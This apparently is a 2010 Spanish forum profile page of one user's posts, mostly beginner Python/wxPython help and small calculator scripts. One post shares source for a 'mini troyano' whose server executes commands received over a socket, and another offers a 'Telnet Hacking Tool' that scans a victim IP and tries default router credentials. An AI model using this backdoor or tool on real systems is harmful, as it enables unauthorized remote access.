|
Mostrar Temas
|
Páginas: [1]
|
1
|
Programación / Scripting / Ayuda [wxPython]
|
en: 27 Junio 2010, 00:37 am
|
Buenas a tod@s. Tengo un problema y es que no se poner una imagen en el frame principal. He googleado y he encontrado el code pero al ponerlo no me sale :S. Aqui os lo dejo: import wx class Tro(wx.Frame): def __init__(self): wx.Frame.__init__(self, parent=None, title='Tituloooo', size=(1920,1200)) self.pnl = wx.Panel(self, id=-1, pos=DefaultPosition, size=(1920,1200)) img = wx.Image("PythonPowered.gif", type=wx.BITMAP_TYPE_GIF, index=-1).ConvertToBitmap() pic = wx.StaticBitmap(self.pnl, -1, img) class App(wx.App): def OnInit(self): frame = Tro() frame.Show() self.SetTopWindow(frame) return True if __name__ == '__main__': app = App() app.MainLoop()
|
|
|
2
|
Programación / Scripting / [Python] Ayuda con mini troyano
|
en: 6 Junio 2010, 17:49 pm
|
Hola a todos. Estoy intentanto hacer un minitroyano en python pero no se conecta. El caso es que si lo hago en local si me sale. Aqui os dejo el code: Cliente.py import socket Host = 'XXXXXXXXX' Port = 9999 Connection = (Host, Port) #Juntamos el Host y el Puerto en una tupla TCP_Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Definimos el tipo de Socket, TCP TCP_Socket.connect(Connection) #Nos connectamos al Host y Puerto de la variable Connection while 1: comando = raw_input('>>> ') TCP_Socket.send(comando) if comando == 'exit': break
server import socket as sc from os import system as sys server = sc.socket(sc.AF_INET, sc.SOCK_STREAM) server.bind(('', 9999)) server.listen(1) while 1: socket_cliente, datos_cliente = server.accept() seguir = True while seguir: peticion = socket_cliente.recv(XXXXXXX) if peticion == 'exit': socket_cliente.close() seguir = False else: socket_cliente.send(sys('%s' % peticion)) break
|
|
|
3
|
Programación / Scripting / Boton ayuda [wxPython]
|
en: 26 Mayo 2010, 14:39 pm
|
Hola a tod@s. Tengo hecho un programilla y quiero poner un boton de ayuda que seria este: self.btnAyuda = wx.Button(self, label='Ayuda', pos=(200,85), size=(60, 30)) self.Bind(wx.EVT_BUTTON, self.ayud, self.btnAyuda)
y quiero que cuando apriete el boton muestre un texto estatico y cree su respectiva funcion. def ayud(self, event): wx.StaticText(self, label='blablabla...' pos=(10, 30))
asi estaria bien? porque no me va EDITO: ya se cual es el error, me faltaba una ,
|
|
|
4
|
Media / Diseño Gráfico / Ayuda con capas
|
en: 21 Mayo 2010, 17:56 pm
|
Hola a tod@s.
Vereis, tengo una imagen con tres capas de texto en el ps. El caso es que quiero ponerle a una capa de texto las propiedades de la otra y me gustaria saber si hay algun procedimiento o algo para hacerlo (que no sea manual)
|
|
|
5
|
Programación / Scripting / [Python] Ayuda con intefaz grafica!!
|
en: 20 Mayo 2010, 16:10 pm
|
El caso es que estoy traspasando un programilla que hice a wxpython. El problema es que tengo hecho el code pero me da error en la linea 20 en negativa = ... y no se que es. Si me pudierais ayudar... Aqui os dejo el code: import wx import math class Herr(wx.Frame): def __init__(self): wx.Frame.__init__(self, parent=None, title='Ecuaciones 2 grado') self.btnCalcular = wx.Button(self, label='Calcular', pos=(20, 180), size=(60, 30)) self.a = wx.TextCtrl(self, pos=(20,45), size=(60,20)) self.b = wx.TextCtrl(self, pos=(20,70), size=(60,20)) self.c = wx.TextCtrl(self, pos=(20,95), size=(60,20)) self.d = wx.TextCtrl(self, pos=(20,120), size=(60,20)) self.e = wx.TextCtrl(self, pos=(20,145), size=(60,20)) self.Bind(wx.EVT_BTN, self.ecuacion, self.btnCalcular) def ecuacion(self, event): try: a = self.a.GetValue() b = self.b.GetValue() c = self.c.GetValue() positiva = self.d.SetValue((-b + math.sqrt(b*b - 4*a*c))/(2*a)) negativa = self.e.SetValue((-b - math.sqrt(b*b - 4*a*c))/(2*a)) except: positiva = self.d.SetValue('Sin solucion') negativa = self.e.SetValue('Sin solucion') class App(wx.App): def OnInit(self): frame = Herr() frame.Show() self.SetTopWindow(frame) return True if __name__ == '__main__': app = App() app.MainLoop()
|
|
|
6
|
Programación / Scripting / Telnet Tool by swik [Python]
|
en: 4 Mayo 2010, 15:22 pm
|
Aqui os dejo esta pequeña tool que hice para hacer telnet a una ip. Primero la escanea, y luego le hace telnet . Es algo antiguo pero bueno print '-------------------------------------' print '-------------------------------------' print '--------Telnet Hacking Tool----------' print '-------------by swik-----------------' print '-------------------------------------' print '-------------------------------------' print '' print '-Para hacer el ataque con exito, es necesario que la victima' print '' print '-Tenga el port 23 abierto' print '' print '-Teclee la ip de la victima y presione enter' print '' print '-El usuario y pass por defecto es admin-admin' print '' print '-La pag que se ha abierto contiene el user y pass de algunos routers' print '' print '-Primero el programa escanea la ip y luego le hace telnet' import os os.system("color a") victima = raw_input('ip victima: ') escan = os.system("nmap %s" % victima) os.system("start http://phenoelit-us.org/dpl/dpl.html") os.system("telnet %s" % victima) os.system("color c")
|
|
|
7
|
Programación / Scripting / Calculadora básica by swik
|
en: 17 Abril 2010, 16:45 pm
|
Aqui os dejo otro pequeño programa basico (una calculadora) import math
print "n %%_________Calculadora_______%%" print "n %%__________by swik__________%%"
#Calculadora Basica by swik salir = 'no'
#elegir la operacion print 'escoge una opcion: ' print '(+)' print '(-)' print '(/)' print '(*)' print '(^)'
operacion = raw_input ('teclea la operacion a usar, y luego presiona enter: ') numeroA = float (raw_input('Tecle un numero: ')) numeroB = float (raw_input('Teclea otro numero: '))
if operacion == '+': #realiza operacion de suma resultado = numeroA + numeroB
if operacion == '-': #realiza la operacion de resta resultado = numeroA - numeroB
if operacion == '/': #realiza la operacion dividir resultado = numeroA / numeroB
if operacion == '*': #realiza la operacion multiplicar resultado = numeroA * numeroB
if operacion == '^': #realiza la operacion elevar resultado = numeroA ** numeroB
print resultado raw_input ()
|
|
|
8
|
Programación / Scripting / Pequeño conversor by swik [Python]
|
en: 17 Abril 2010, 16:38 pm
|
Primero Hola a todos. Soy "nuevo" ya que llevo tiempo registrado lo que pasa es que nunca posteo.Veo que hay mucha informacion interesante y quiza me vean por aqui . Bueno aqui os dejo este pequeño conversor. Es muy básico print '%%~~~~~~~~~~~~~~Conversor~~~~~~~~~~%%' print '%%~~~~~~~~~~~~~~~~by swik~~~~~~~~~~%%'
def conversor():
print 'Escoja una opcion'
print '1 euros a pesetas' print '2 pesetas a euros' print '3 euros a dolares' print '4 dolares a euros' print '(1)' print '(2)' print '(3)' print '(4)'
operacion = raw_input('Teclee la opcion: ') num = float(raw_input('Teclee la cifra: ')) if operacion == '1': resultado = num * 166 if operacion == '2': resultado = num / 166 if operacion == '3': resultado = num * 1.3647 if operacion == '4': resultado = num / 1.3647
print resultado conversor() conversor() Saludos
|
|
|
|
|
|
|